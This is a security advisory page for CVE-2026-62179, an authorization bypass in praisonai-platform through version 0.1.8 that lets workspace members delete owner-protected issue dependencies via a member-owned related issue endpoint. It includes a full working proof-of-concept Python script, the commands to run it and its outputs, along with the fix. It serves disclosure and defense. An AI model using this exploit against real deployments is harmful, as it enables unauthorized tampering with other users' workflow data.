CVE-2026-62179: PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues

Published Oct 7, 2026
·
Updated

Platform members can delete owner issue dependencies through member-owned related issues

Summary

praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.

Technical Details

The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonaiplatform/api/routes/dependencies.py defines DELETE /workspaces/{workspaceid}/issues/{issueid}/dependencies/{depid}. The route first verifies that the URL issueid is in the workspace, loads the dependency by depid, and accepts the dependency when either dep.issueid == issueid or dep.dependsonissueid == issueid. It then calls requiredeletepermission(workspaceid, user, session, resourceownerid=issue.creatorid) for the URL issue only.

src/praisonai-platform/praisonaiplatform/api/deps.py implements requiredeletepermission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resourceownerid == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.

The same route family also lets any workspace member create dependency edges on owner-created issues with only requireworkspacemember. POST /workspaces/{workspaceid}/issues/{issueid}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issueid, body.dependsonissueid, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.

The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.

Essential excerpt:

python depresp = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", json={"dependsonissueid": memberissueid, "type": "blocks"}, headers=ownerheaders, ) depid = depresp.json()["id"]

memberdeleteownerendpoint = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/{depid}", headers=memberheaders, )

memberdeletememberendpoint = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{memberissueid}/dependencies/{depid}", headers=memberheaders, )

ownerlistaftermemberdelete = await client.get( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", headers=ownerheaders, )

The full PoV script is included in the appendix below as povplatformdependencydeletebypass.py.

PoC

Current head tested:

text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformdependencydeletebypass.py --repo ./PraisonAI --json

Decisive current-head output:

json { "checks": { "membercreatedependencyonownerissue": 201, "memberdeletememberissueendpoint": 204, "memberdeleteownerissueendpoint": 403, "memberdeleteowneronlydependency": 403, "nonmembercreatedependency": 403, "ownerdeleteowneronlydependency": 204, "ownerdependencycountaftermemberdelete": 0 }, "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true }

The key vulnerable sequence is memberdeleteownerissueendpoint == 403, followed by memberdeletememberissueendpoint == 204 for the same dependency id, followed by ownerdependencycountaftermemberdelete == 0.

Run against the latest PyPI package observed during testing:

sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformdependencydeletebypass.py --json

Decisive latest-PyPI output:

json { "checks": { "membercreatedependencyonownerissue": 201, "memberdeletememberissueendpoint": 204, "memberdeleteownerissueendpoint": 403, "memberdeleteowneronlydependency": 403, "nonmembercreatedependency": 403, "ownerdeleteowneronlydependency": 204, "ownerdependencycountaftermemberdelete": 0 }, "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true }

Version sweep excerpt:

text praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior. praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0. praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.

Impact

An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blockedby, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.

Suggested Fix

Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issueid issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.

For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.

Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.

Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.

GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issueid and depid without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled projectid reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.

Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.

References

- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7 - https://cwe.mitre.org/data/definitions/862.html - https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

text === praisonai-platform 0.1.4 === "memberdeleteownerissueendpoint": 204 "memberdeletememberissueendpoint": 404 "memberdeleteowneronlydependency": 204 "nonmembercreatedependency": 403 "ownerdeleteowneronlydependency": 404 "ownerdependencycountaftermemberdelete": 0

=== praisonai-platform 0.1.6 === "memberdeleteownerissueendpoint": 403 "memberdeletememberissueendpoint": 204 "memberdeleteowneronlydependency": 403 "nonmembercreatedependency": 403 "ownerdeleteowneronlydependency": 204 "ownerdependencycountaftermemberdelete": 0

=== praisonai-platform 0.1.8 === "memberdeleteownerissueendpoint": 403 "memberdeletememberissueendpoint": 204 "memberdeleteowneronlydependency": 403 "nonmembercreatedependency": 403 "ownerdeleteowneronlydependency": 204 "ownerdependencycountaftermemberdelete": 0

Appendix B - Full PoV Script

Save this as povplatformdependencydeletebypass.py before running the PoC commands above.

python #!/usr/bin/env python3 """PoV for PraisonAI Platform issue-dependency delete authorization."""

from future import annotations

import argparse import asyncio import json import os import subprocess import sys from pathlib import Path from typing import Any

def loadlocalsource(repo: Path | None) -> None: if repo is None: return platformroot = repo / "src" / "praisonai-platform" agentsroot = repo / "src" / "praisonai-agents" for path in (str(platformroot), str(agentsroot)): if path not in sys.path: sys.path.insert(0, path)

async def register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.statuscode >= 400: raise RuntimeError( f"register failed for {email}: {response.statuscode} {response.text}" ) body = response.json() return body["token"], body["user"]["id"]

async def createissue( client: Any, workspaceid: str, headers: dict[str, str], title: str, ) -> str: response = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/", json={"title": title, "priority": "high"}, headers=headers, ) response.raiseforstatus() return response.json()["id"]

async def run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORMJWTSECRET"] = "local-poc-secret-32-bytes-minimum" loadlocalsource(repo)

from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import createasyncengine

from praisonaiplatform.api.app import createapp from praisonaiplatform.db import base as basemod from praisonaiplatform.db.base import Base, resetengine

await resetengine() engine = createasyncengine( "sqlite+aiosqlite:///:memory:", echo=False, connectargs={"checksamethread": False}, ) basemod.engine = engine basemod.sessionfactory = None async with engine.begin() as conn: await conn.runsync(Base.metadata.createall)

app = createapp() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, baseurl="http://local-poc") as client: ownertoken, ownerid = await register(client, "owner@example.com", "Owner") membertoken, memberid = await register(client, "member@example.com", "Member") outsidertoken, = await register(client, "outsider@example.com", "Outsider")

ownerheaders = {"Authorization": f"Bearer {ownertoken}"} memberheaders = {"Authorization": f"Bearer {membertoken}"} outsiderheaders = {"Authorization": f"Bearer {outsidertoken}"}

wsresp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=ownerheaders, ) wsresp.raiseforstatus() workspaceid = wsresp.json()["id"]

addmember = await client.post( f"/api/v1/workspaces/{workspaceid}/members", json={"userid": memberid, "role": "member"}, headers=ownerheaders, ) addmember.raiseforstatus()

ownerissueid = await createissue( client, workspaceid, ownerheaders, "Owner-owned blocked issue" ) memberissueid = await createissue( client, workspaceid, memberheaders, "Member-owned related issue" )

depresp = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", json={"dependsonissueid": memberissueid, "type": "blocks"}, headers=ownerheaders, ) depresp.raiseforstatus() depid = depresp.json()["id"]

memberdeleteownerendpoint = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/{depid}", headers=memberheaders, ) memberdeletememberendpoint = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{memberissueid}/dependencies/{depid}", headers=memberheaders, ) ownerlistaftermemberdelete = await client.get( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", headers=ownerheaders, )

ownerissueb = await createissue( client, workspaceid, ownerheaders, "Owner issue B" ) ownerissuec = await createissue( client, workspaceid, ownerheaders, "Owner issue C" ) owneronlydepresp = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueb}/dependencies/", json={"dependsonissueid": ownerissuec, "type": "blocks"}, headers=ownerheaders, ) owneronlydepresp.raiseforstatus() owneronlydepid = owneronlydepresp.json()["id"] memberdeleteowneronlydep = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueb}/dependencies/{owneronlydepid}", headers=memberheaders, ) ownerdeleteowneronlydep = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueb}/dependencies/{owneronlydepid}", headers=ownerheaders, )

outsidercreatedependency = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", json={"dependsonissueid": memberissueid, "type": "blocks"}, headers=outsiderheaders, )

membercreateddepresp = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/dependencies/", json={"dependsonissueid": memberissueid, "type": "related"}, headers=memberheaders, ) if membercreateddepresp.statuscode == 201: membercreateddepid = membercreateddepresp.json()["id"] await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{memberissueid}/dependencies/{membercreateddepid}", headers=ownerheaders, )

await engine.dispose() basemod.engine = None basemod.sessionfactory = None

dependenciesafterdelete = ( ownerlistaftermemberdelete.json() if ownerlistaftermemberdelete.statuscode == 200 else None ) checks = { "memberdeleteownerissueendpoint": memberdeleteownerendpoint.statuscode, "memberdeletememberissueendpoint": memberdeletememberendpoint.statuscode, "ownerdependencycountaftermemberdelete": ( len(dependenciesafterdelete) if dependenciesafterdelete is not None else None ), "memberdeleteowneronlydependency": memberdeleteowneronlydep.statuscode, "ownerdeleteowneronlydependency": ownerdeleteowneronlydep.statuscode, "nonmembercreatedependency": outsidercreatedependency.statuscode, "membercreatedependencyonownerissue": membercreateddepresp.statuscode, } vulnerable = ( checks["memberdeleteownerissueendpoint"] == 403 and checks["memberdeletememberissueendpoint"] == 204 and checks["ownerdependencycountaftermemberdelete"] == 0 and checks["memberdeleteowneronlydependency"] == 403 and checks["ownerdeleteowneronlydependency"] == 204 and checks["nonmembercreatedependency"] == 403 and checks["membercreatedependencyonownerissue"] == 201 ) return { "package": "praisonai-platform", "source": sourceid(repo), "workspacerole": "member", "summary": ( "A workspace member can delete a dependency edge that protects an owner-created " "issue by addressing the same dependency through a member-owned related issue." ), "issueids": { "ownerissue": ownerissueid, "memberissue": memberissueid, }, "dependencyid": depid, "checks": checks, "vulnerable": vulnerable, }

def sourceid(repo: Path | None) -> str: if repo is None: import importlib.metadata

return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" rev = subprocess.checkoutput( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}"

def main() -> int: parser = argparse.ArgumentParser() parser.addargument("--repo", type=Path) parser.addargument("--json", action="storetrue") args = parser.parseargs()

result = asyncio.run(run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sortkeys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1

if name == "main": raise SystemExit(main())

Other sources

PraisonAI is a multi-agent teams system. In praisonai-platform prior to version 0.1.9, issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue. Version 0.1.9 patches the issue.

— MITRE

Affected Software

1 affected componentFixes available
pip/praisonai-platform<=0.1.8
0.1.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai-platform to a version that resolves this vulnerability.

    Fixed in 0.1.9
  2. Upgrade

    Upgrade pypi:praisonai-platform to a version that resolves this vulnerability.

    Fixed in 0.1.9
  3. Compensating control

    Authorize dependency deletion using the primary dep.issue_id issue rather than the caller-selected URL issue; for dependency creation, require owner/admin authority or primary-issue owner authority before creating an edge on an existing issue.

Event History

Oct 7, 2026
Advisory Published
via GitHub·02:28 PM
Data Sourced
via GitHub·02:28 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·02:29 PM
Data Sourced
via MITRE·02:29 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Who can exploit this issue?

A workspace member with permission to delete dependencies on an issue they own can exploit it against a dependency that also connects to an owner-created issue. The attacker does not need permission to delete dependencies on the owner-created issue.

2

What access and conditions are required?

The attacker needs network access to the platform and low-privileged authenticated workspace-member access. A dependency must exist between a member-owned related issue and an owner-created issue, and the attacker must be able to select their own issue endpoint when submitting the deletion request.

3

Which versions are affected and what is the fix?

praisonai-platform versions prior to 0.1.9 are affected. Upgrade to version 0.1.9, which corrects the authorization check.

4

How can teams assess whether unauthorized deletions may have occurred?

Review issue dependency deletion activity involving owner-created issues, especially where the request was made through a related issue owned by a workspace member. Compare the user performing the deletion with their permissions on both issues in the dependency relationship.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203